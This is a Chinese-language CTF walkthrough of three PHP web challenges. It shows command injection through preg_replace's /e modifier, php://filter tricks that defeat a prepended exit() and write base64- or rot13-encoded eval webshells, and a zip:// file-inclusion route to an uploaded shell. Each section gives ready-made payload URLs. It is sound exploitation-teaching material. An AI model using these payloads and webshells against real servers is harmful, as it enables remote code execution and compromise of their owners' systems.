01 50

题目链接

http://47.100.121.220:28001/01.php

解答

preg_replace()

preg_replace() 函数用于正则表达式的搜索和替换。

语法:
1
mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] )
参数说明:
参数 说明
pattern 正则表达式
replacement 替换的内容
subject 需要匹配替换的对象
limit 可选,指定替换的个数,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换
特别说明

当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。

由以上知识点可以得到本题的payload

1
http://47.100.121.220:28001/01.php?a=/c/e&b=system('cat flag.php')&3=c

exit 150

题目链接

http://47.100.121.220:28002

解答

1
2
3
4
5
6
7
<?php 
show_source(__FILE__);
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
@file_put_contents($filename, $c);
?>

题目给出了源码,我们可以看出这里是利用file_put_contents()函数来写shell,但是写入的shell里开头会加上

1
<?php exit;?>;

导致shell中写入的内容无法被解析,这里我们就需要想办法绕过这段代码

之前看过P神的一篇文章有讲过这个“死亡exit”的问题

具体可以参考P神博客

谈一谈php://filter的妙用

博客里介绍了三种方法绕过

第一种使用php://filter/write=convert.base64-decode

正如P神博客说的

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

1
http://47.100.121.220:28002/02.php?file=php://filter/write=convert.base64-decode/resource=z.php&c=aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+

我本地环境可以写Shell,连接菜刀可以。但是题目环境不行。

我们可以尝试写system函数读取flag,查看源码

1
http://47.100.121.220:28002/02.php?file=php://filter/write=convert.base64-decode/resource=z.php&c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

第二种使用php://filter/write=string.strip_tags|convert.base64-decode/resource

php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

1
http://47.100.121.220:28002/02.php?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=z.php&c=PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOz8+

这个payload跟php版本有关的,我本地5.4的可以。题目环境不行。

第三种使用php://filter/write=string.rot13/resource

利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了

1
http://47.100.121.220:28002/02.php?file=php://filter/write=string.rot13/resource=a.php&c=<?cuc @riny($_CBFG['n']);?>

菜刀链接,如果不连接不上可以用system函数。

题目链接

http://47.100.121.220:28003

解答

这个题目是jarvisoj平台的一个原题的改编,链接如下:

http://web.jarvisoj.com:32785

但是基本的利用点是相同的,那就是

1
index.php?page=

这个地方存在一个文件包含的漏洞,这个地方可以利用到

具体可以看到我上传完后取下来的代码

1
2
3
4
5
6
7
8
9
<?php
require("header.php");
$page="";
if (isset($_GET['page']))
$page=$_GET['page'].".php";
else
$page="main.php";
include($page);
?>

这个地方加上了一个.php是一个利用点。

根据原题的解题思路上传.jpg,然后利用这个文件包含点,%00截断是不行的

1
index.php?page=图片ID.jpg%00

在甜哥提醒下还是利用到了PHP伪协议,突然发现PHP伪协议在CTF题目利用到的很多

这里利用到zip://这个协议,具体可以参考我的博客

php支持的协议和封装协议小结

这里我们可以结合zip://和文件包含来解析我们的shell

具体,我们想写一个shell.php,zip打包,把扩展名改为.jpg上传

在文件包含利用点用以下payload

1
http://47.100.121.220:28003/index.php?page=zip://uploads/图片ID.jpg#shell

根据zip协议的知识和view的代码,shell后加上.php后缀。这样就可以被解析了。

我们就可以用菜刀连接到shell.php得到flag。